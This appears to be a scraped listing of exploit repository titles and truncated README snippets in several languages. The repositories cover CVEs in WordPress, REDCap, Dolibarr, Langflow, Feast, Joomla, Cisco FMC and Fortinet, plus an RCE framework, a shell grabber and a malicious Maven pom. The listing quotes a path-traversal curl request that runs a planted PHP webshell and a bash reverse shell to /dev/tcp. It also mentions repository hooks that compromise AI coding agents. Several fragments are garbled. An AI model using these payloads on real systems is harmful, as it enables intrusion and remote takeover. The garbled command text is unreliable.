wordpress-cve-2026-87902

CVE-2026-87902 — Conditional LFI Love for Humans - Keep Simple WordPress Core +/tmp/pwn.php' curl -s 'http://10.137.137.49:18092/?pageid=2&pagename=templates%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252F%252e%252e%252Ftmp%252Fpwn&=id' Reverse Shell...

CVE-2026-63030

WP2Shell — CVE-2026-63030 + CVE-2026-60137 RCE preautenticación en el núcleo de WordPress exploit masivo / detector 📋 Descripción general de la vulnerabilidad Atributo| Detalles ---|--- CVE ID| CVE-2026-63030 + CVE-2026-60137 Cadena| wp2shell — RCE preautenticación Gravedad| 🔴 CRÍTICA CVSS 9.8...

CVE-2026-90817

CVE-2026-90817 — REDCap Survey Passthru + Data Import RCE Comprobador en Python 3 y hook de exploit configurable para CVE-2026-90817 Securifera / Ryan Wincey. | ---|--- Producto| REDCap Vanderbilt Afectado| ≥ 13.3.0 hasta el parche de la rama Corregido| 16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard+...

RCE-Exploit-Framework

RCE-Exploit-Framework 该框架旨在帮助渗透测试人员或开发人员理解远程代码执行（RCE）利用的机制。 功能 Payload 生成器 ：支持基于 Python、Bash 和 PHP 创建自定义 Payload。 漏洞利用执行器 ：通过 HTTP POST 或 GET 将 Payload 发送到目标。 反弹 Shell 监听器 ：用于接收反弹 Shell 连接的模块。 日志输出 ：保存漏洞利用活动的日志，以便进一步分析。 使用方法 1. 从 Python 官方网站下载并安装 Python：https://www.python.org。 2. 安装 pip 模块 pip...

Alfa-Perl-RCE-ZoneH-Grabber-Python

Alfa-Perl-RCE-ZoneH-Grabber-Python Python2.7 这些工具是开源的，你可以重新编码它们，但请记住永远不要删除作者的工具。这些工具是免费的，不可出售！！！ Shell 结果取决于你的列表！！！ 在此，Jenderal92 不对因工具滥用而导致的网站系统损坏负责。无论是轻是重，一切都取决于使用情况！！！ 捐赠： BTC : 31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money : U22270614...

Netgear_Pwn2Own2021

Netgear R6700v3 WAN RCE - Pwn2Own 2021 这是 Pwn2Own 2021 期间使用的代码，用于在 Netgear R6700v3 上获取远程 shell。 博客文章：https://synacktiv.com/publications/pwn2own-austin-2021-defeating-the-netgear-r6700v3 要求 带有 flask 的 python3 dnsmasq 用法 1. 以 root 身份运行 ./play.sh ifname，其中 ifname 为连接到路由器的接口名称（例如 eth0） 2. 启动路由器 3. 等待...

mvn_pwn

MVN PWN 使用 "groovy-maven-plugin" 实现 RCE 的恶意 Maven pom.xml 包含完整依赖的载荷可在以下博客中找到： https://security.humanativaspa.it/abusing-mavens-pom-xml/...

CVE-2026-20131

🚨 CVE-2026-20131 | Cisco FMC 严重 RCE 漏洞 Cisco Secure Firewall Management Center 中的未认证远程代码执行 📌 概述 一个严重的预认证 Java 反序列化漏洞 ，允许远程攻击者在 Cisco FMC 设备上实现 root 级代码执行 。 关键信息 属性| 详情 ---|--- 严重程度| 严重 CVSS 评分| 10.0 漏洞类型| Java 反序列化 已被在野利用| 是（勒索软件攻击活动） 补丁可用| 是 ✨ 安全的漏洞检测工具 一个美观、安全且可靠的 CVE-2026-20131 检测工具。 📸 演示 功能特性...

CVE-2026-39987

⚠️ CVE-2026-39987 — marimo =0.23.0" 官方公告 ： GHSA-267...

CVE-2026-23500

CVE-2026-23500：Dolibarr 中通过 MAINODTASPDF 配置导致的 OS 命令注入（RCE） 概述 字段| 详情 ---|--- CVE 编号| CVE-2026-23500 严重性| 严重 安全公告| GHSA-w5j3-8fcr-h87w 发现者| Lukasz Rybak 受影响产品 Dolibarr/dolibarr （版本：）被 Web 应用程序或 shell 转义，请将反向 shell 命令编码为 Base64： Command: bash -c 'bash -i & /dev/tcp/172.26.0.1/4445 0&1' echo "bash ...

CVE-2026-56121_exploit

CVE-2026-56121 — Feast Registry Unauthenticated RCE dill.loads 在 Feast 特征存储的 注册中心 gRPC 服务器 中存在未授权远程代码执行漏洞。 ApplyFeatureView RPC 会从请求的 proto 中重建一个 OnDemandFeatureView。在此过程中，它会对 spec.userdefinedfunction.body 进行 base64 解码，并将其传递给 dill.loads — 且发生在任何授权检查之前 。dill 是 pickle 的超集，因此如果一个对象的 reduce 返回...

joomla_exploits

Joomla 漏洞利用 本仓库包含精选的 Joomla 漏洞利用工件，这些工件已针对真实的 Docker Joomla 环境进行验证。该集合按实际攻击效用分类。 real-impact 实际影响 具有直接安全影响的漏洞利用：RCE、文件上传导致代码执行、SQL 注入、敏感配置泄露、任意文件删除、针对管理员的存储型 XSS 或权限提升。 序号| CVE| CVSS| 目标| 利用脚本 ---|---|---|---|--- 1| CVE-2026-48939| 10.0| iCagenda 公共活动附件上传| cve202648939icagendarealhttprce.py 2|...

CVE-2026-9198_exploit

CVE-2026-9198 — Langflow OSS 未授权远程代码执行 在默认部署的 IBM Langflow OSS 1.0.0 – 1.10.0 中实现未授权远程代码执行。利用了两个漏洞： CVE-2026-9103 — 当 AUTOLOGIN 启用时（Langflow ': pass 为了执行命令，有效载荷会抛出一个异常，其消息为命令输出，该输出由端点在响应中返回（function.errors）。 使用方法 ./exploit.py -t options -t, --target target host/IP or full URL required -p, --port...

sxwp2shell

/ / / / / / | |/ / / / / / / / / / | // / / / / / / / / / / / / // | / /// / // // / // / /|| sxwp2shell — 通过 REST API 批处理路由混淆（CVE-2026-63030）+ SQL 注入（CVE-2026-60137）对 WordPress 进行预认证 RCE 漏洞利用。 受影响版本：WP 6.9.0–6.9.4 / 7.0.0–7.0.1 安装 git clone https://github.com/SentinelXofficial/sxwp2shell cd...

CVE-2026-63030

CVE-2026-63030 - WordPress REST API 批量路由混淆 PoC 描述 针对 CVE-2026-63030 的概念验证漏洞利用，这是 WordPress（6.9.0 至 7.0.1 版本）中的一个预认证漏洞。它串联了： REST API 批量路由混淆（验证与调度不匹配） 通过 authorexclude 参数进行的 SQL 注入 oEmbed 缓存投毒 + Customizer changeset 权限提升 创建管理员用户 为远程命令执行上传插件 要求 Python 3.10+ 目标：WordPress 6.9.0 – 7.0.1，且至少有一个已发布的文章/页...

wp2shell-checker

\ \ / / \ / || | | | | | | | \ \ /\ / /| | | \ | || | | | | | | \ V V / | // / | | || || | // || ||/|| ||||| wp2shell-checker | WordPress 批量 API 失同步检测器 用于 WordPress 核心 REST 批量 API 预认证 RCE 的检测器 由 0xjessie21 创建 — Cybersecurity ILCS 概述 | ---|--- 特征| wp2shell / WP Core REST 批量 API 失同步 严重程度| 9.8...

CVE-2024-50498

CVE-2024-50498 WP Query Console body background-color: fff; color: 222; font-family: sans-serif; pre margin: 0; font-family: monospace; a:link color: 009; text-decoration: none; background-color: fff; a:hover text-decoration: underline; table border-collapse: collapse; border: 0; width: 934px;...

Gitlab-RCE

PHPÂN TÍCH LỖ HỔNG RCE TRÊN GITLAB CVE-2021–22192 I XÂY DỰNG Lỗi này xảy ra trên GitLab Community Edition CE và Enterprise Edition EE ở các phiên bản =13.2, =13.8, =13.9, 13.9.4 Các bạn có thể làm theo hướng dẫn của lyy289065406 để dựng môi trường. II PHÂN TÍCH Khi bắt đầu bắt tay vào phân tích l...

dotclaude-security

dotclaude-security 扫描仓库本地的 .claude/ 配置 —— settings.json 钩子、MCP 服务器定义、env 块、permissions.allow —— 找出那些在 git clone 并打开不受信任仓库后，立即在 Claude Code 中触发的 RCE 和 API 密钥泄露 陷阱。它会指向 精确的危险行号 ，让你在信任之前先阅读。它只读取，从不执行发现的内容。 ⚡ 一行命令运行，无需安装，数据不会离开你的机器： npx dotclaude-security --dir ./some-cloned-repo 🤝 需要为你加固吗？ 固定范围审计 ——...

CVE-2022-42475-RCE-POC

CVE-2022-42475-RCE-POC 漏洞名称 CVE-2022-42475 飞塔RCE漏洞 POC 漏洞成因 由于sslvpnd对用户输入的内容验证存在缺陷，未经身份验证的攻击者通过发送特制数据包触发缓冲区溢出，最终可实现在目标系统上执行任意代码。 受影响版本 2.0 = 7.2.3 FortiOS = 7.0.9 FortiOS = 6.4.11 FortiOS = 6.2.12 FortiOS-6K7K = 7.0.8 FortiOS-6K7K = 6.4.10 FortiOS-6K7K = 6.2.12 FortiOS-6K7K = 6.0.15 修复方案...